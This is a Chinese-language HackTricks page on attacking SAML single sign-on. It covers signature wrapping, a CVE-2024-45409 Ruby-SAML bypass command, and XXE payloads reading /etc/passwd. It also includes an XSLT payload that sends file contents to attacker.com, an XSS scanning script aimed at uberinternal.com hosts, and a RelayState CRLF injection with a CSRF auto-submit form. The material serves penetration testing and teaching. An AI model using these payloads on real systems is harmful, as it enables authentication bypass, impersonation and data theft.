SAML Attacks

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Basic Information

SAML Basics

工具

SAMLExtractor: 一个可以接收单个 URL 或 URL 列表并返回 SAML consume URL 的工具。

XML round-trip

在 XML 中,XML 的已签名部分会被保存在内存中,然后会对其进行某些编码/解码处理并验证签名。理想情况下,这些编码/解码不应该改变数据,但基于该流程,被验证的数据和原始数据可能不相同

例如,检查下面的代码:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

在 REXML 3.2.4 或更早版本上运行该程序会得到以下输出:

First child in original doc: Y
First child after round-trip: Z

下面是 REXML 从上述程序看到的原始 XML 文档:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

而这是在解析和序列化一轮之后它看到的:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

关于该漏洞以及如何利用它的更多信息:

XML Signature Wrapping Attacks

XML Signature Wrapping attacks (XSW) 中,攻击者利用在处理 XML 文档时出现的两个不同阶段之间的漏洞:signature validationfunction invocation。这些攻击通过修改 XML 文档结构来实现。具体来说,攻击者会注入伪造元素,而不破坏 XML Signature 的有效性。此类操作旨在制造应用实际处理的元素与签名验证模块检查的元素之间的不一致。因此,尽管 XML Signature 在技术上仍然有效并通过验证,应用逻辑却会处理这些欺骗性元素。结果,攻击者可有效绕过 XML Signature 的完整性保护来源认证,在不被发现的情况下注入任意内容

以下攻击基于 this blog post this paper。有关更多细节请参阅这些资料。

XSW #1

  • Strategy: 添加了一个包含签名的新根元素。
  • Implication: 验证器可能在合法的 “Response -> Assertion -> Subject” 与攻击者的 “恶意新 Response -> Assertion -> Subject” 之间混淆,导致数据完整性问题。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Difference from XSW #1: 使用 detached signature 而不是 enveloping signature。
  • Implication: 类似于 XSW #1 的“恶意”结构,旨在在完整性检查之后欺骗业务逻辑。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Strategy: 在与原始 Assertion 相同的层级创建一个恶意的 Assertion。
  • Implication: 目标是使业务逻辑混淆,从而使用恶意数据。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Difference from XSW #3: 原始 Assertion 变为重复(恶意)Assertion 的子元素。
  • Implication: 与 XSW #3 相似,但更激进地改变了 XML 结构。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Unique Aspect: Signature 和原始 Assertion 均不遵循标准配置(enveloped/enveloping/detached)。
  • Implication: 复制的 Assertion 包裹了 Signature,从而修改了预期的文档结构。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Strategy: 插入位置类似于 XSW #4 和 #5,但有变化。
  • Implication: 复制的 Assertion 包裹了 Signature,而后者又包裹原始 Assertion,形成嵌套的欺骗结构。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Strategy: 插入一个 Extensions 元素,并将复制的 Assertion 作为其子元素。
  • Implication: 利用 Extensions 元素较宽松的 schema 绕过 schema 验证的对策,特别是在像 OpenSAML 这样的库中。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Difference from XSW #7: 使用另一个较宽松的 XML 元素作为该攻击的变体。
  • Implication: 原始 Assertion 成为该较宽松元素的子元素,反转了 XSW #7 中使用的结构。

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

你可以使用 Burp 扩展 SAML Raider 来解析请求、应用任意 XSW 攻击并发起攻击。

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: 如果 Service Provider 使用易受影响的 Ruby-SAML(例如 GitLab SAML SSO),攻击者若能获取到任何 IdP-signed SAMLResponse,则可以伪造新的 assertion并以任意用户身份认证。

High-level workflow (signature-wrapping style bypass):

  1. 捕获 SSO POST 中的合法 SAMLResponse(使用 Burp 或浏览器开发者工具)。你只需获取针对目标 SP 的任意 IdP 签名的 response。
  2. 将传输编码解码为原始 XML(典型顺序):URL decode → Base64 decode → raw inflate
  3. 使用 PoC(例如 Synacktiv 的脚本)来修补 IDs/NameID/conditions重写签名引用/摘要(signature references/digests),使验证仍能通过,同时 SP 消耗攻击者控制的 assertion 字段。
  4. 重新编码被修补的 XML(raw deflate → Base64 → URL encode),并将其重放到 SAML 回调端点。如果成功,SP 会以所选用户的身份登录你。

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

如果你不知道 XXE 是哪类攻击,请阅读以下页面:

XXE - XEE - XML External Entity

SAML Responses 是 deflated and base64 encoded XML documents,可能容易受到 XML External Entity (XXE) 攻击。通过操纵 SAML Response 的 XML 结构,攻击者可以尝试利用 XXE 漏洞。下面展示了此类攻击如何被可视化:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

工具

你也可以使用 Burp 扩展 SAML Raider 从 SAML 请求生成 POC,以测试可能的 XXE 漏洞和 SAML 漏洞。

另请参阅该演讲: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT via SAML

有关 XSLT 的更多信息,请参阅:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Extensible Stylesheet Language Transformations (XSLT) 可用于将 XML 文档转换为 HTML、JSON 或 PDF 等各种格式。重要的是要注意,XSLT 转换是在数字签名验证之前执行的。这意味着即使没有有效签名,攻击也能成功;自签名或无效的签名也足以继续进行攻击。

在这里你可以找到一个 POC 来检测此类漏洞;在本节开头提到的 hacktricks 页面中可以找到相应的 payloads。

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

工具

You can also use the Burp extension SAML Raider to generate the POC from a SAML request to test for possible XSLT vulnerabilities.

Check also this talk: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

The XML Signature Exclusion 会观察 SAML 实现当 Signature element 不存在时的行为。如果该元素缺失,签名验证可能不会发生,从而导致易受攻击。可以通过修改通常由签名验证的内容来测试这一点。

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

工具

你也可以使用 Burp 扩展 SAML Raider。拦截 SAML Response 并点击 Remove Signatures。这样会移除所有 Signature 元素。

移除签名后,允许请求继续发送到目标。如果 Signature isn’t required by the Service

Certificate Faking

Certificate Faking

Certificate Faking 是一种用于测试 Service Provider (SP) 是否正确验证来自受信任 Identity Provider (IdP) 的 SAML Message 已被签名 的技术。该技术涉及使用 *self-signed certificate 来对 SAML Response 或 Assertion 进行签名,从而评估 SP 与 IdP 之间的信任验证过程。

How to Conduct Certificate Faking

以下步骤概述了使用 SAML Raider Burp 扩展进行操作的流程:

  1. 拦截 SAML Response。
  2. 如果响应包含签名,请使用 Send Certificate to SAML Raider Certs 按钮将证书发送到 SAML Raider Certs。
  3. 在 SAML Raider Certificates 选项卡中,选择导入的证书并点击 Save and Self-Sign 来创建原始证书的自签名克隆。
  4. 返回到 Burp 的 Proxy 中被拦截的请求。从 XML Signature 下拉菜单中选择新的自签名证书。
  5. 使用 Remove Signatures 按钮移除任何现有签名。
  6. 使用 (Re-)Sign Message(Re-)Sign Assertion 按钮(根据需要)用新证书对消息或断言进行签名。
  7. 转发已签名的消息。如果认证成功,表明 SP 接受由你的 self-signed certificate 签名的消息,这可能揭示 SAML 消息验证流程中的潜在漏洞。

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion 和 Service Provider Target Confusion 涉及检查 Service Provider 是否正确验证响应的预期接收者。本质上,如果认证响应原本是为不同的提供者准备,Service Provider 应当拒绝该响应。这里的关键元素是 Recipient 字段,该字段位于 SAML Response 的 SubjectConfirmationData 元素内。该字段指定了一个 URL,表明 Assertion 必须发送到何处。如果实际接收者与预期的 Service Provider 不匹配,则该 Assertion 应被视为无效。

工作原理

要使 SAML Token Recipient Confusion (SAML-TRC) 攻击可行,必须满足某些条件。首先,必须在一个 Service Provider(称为 SP-Legit)上拥有有效账户。其次,目标 Service Provider(SP-Target)必须接受来自与为 SP-Legit 提供服务的相同 Identity Provider 的令牌。

在满足这些条件的情况下,攻击过程相当直接。通过共享的 Identity Provider 与 SP-Legit 发起真实会话。来自 Identity Provider 发往 SP-Legit 的 SAML Response 被拦截。该被拦截的 SAML Response(原本为 SP-Legit 准备)随后被重定向到 SP-Target。如果 SP-Target 接受该 Assertion,则攻击成功,攻击者将以用于 SP-Legit 的相同账户名访问 SP-Target 的资源。

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS 在注销功能中

原始研究可以通过 this link 访问。

在进行 directory brute forcing 的过程中,发现了一个注销页面,位于:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

在访问此链接后,发生了重定向,指向:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

这表明 base 参数接受一个 URL。考虑到这一点,想法是用 javascript:alert(123); 替换该 URL,试图发起一次 XSS (Cross-Site Scripting) 攻击。

大规模利用

From this research:

The SAMLExtractor 工具被用来分析 uberinternal.com 的子域,以查找使用相同库的域。随后,开发了一个脚本来针对 oidauth/prompt 页面。该脚本通过输入数据并检查是否在输出中被反射来测试 XSS (Cross-Site Scripting)。如果输入确实被反射,脚本会将该页面标记为易受攻击。

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

基于 RelayState 的 header/body 注入 导致 rXSS

一些 SAML SSO 端点会解码 RelayState,然后在响应中未经消毒地反射它。如果你能注入换行并覆盖响应的 Content-Type,就可以强制浏览器渲染由攻击者控制的 HTML,从而实现 reflected XSS。

  • 思路:通过在被反射的 RelayState 中注入换行来滥用 response-splitting。另见 CRLF injection 中的一般性说明。
  • 即便 RelayState 在服务器端被 base64 解码也可奏效:提供一个解码后会产生 header/body injection 的 base64 字符串。

通用步骤:

  1. 构造一个以换行符开始的 header/body 注入序列,覆盖响应的 Content-Type 为 HTML,然后注入 HTML/JS 有害载荷:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. 对该序列进行 URL 编码(示例):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. 对该 URL 编码的字符串进行 Base64 编码,并将其放入 RelayState

示例 base64(来自上面的序列):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. 发送一个包含语法上有效的 SAMLResponse 和精心构造的 RelayState 的 POST 到 SSO 端点(例如 /cgi/logout)。
  2. 通过 CSRF 传播:托管一个自动提交跨域 POST 到目标源的页面,包含这两个字段。

PoC 针对 NetScaler SSO 端点 (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

CSRF 交付模式:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

为什么会生效:服务器解码 RelayState 并以允许换行注入的方式将其合入响应,从而让攻击者可以影响 headers 和 body。强制设置 Content-Type: text/html 会导致浏览器将响应体中攻击者控制的 HTML 渲染出来。

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks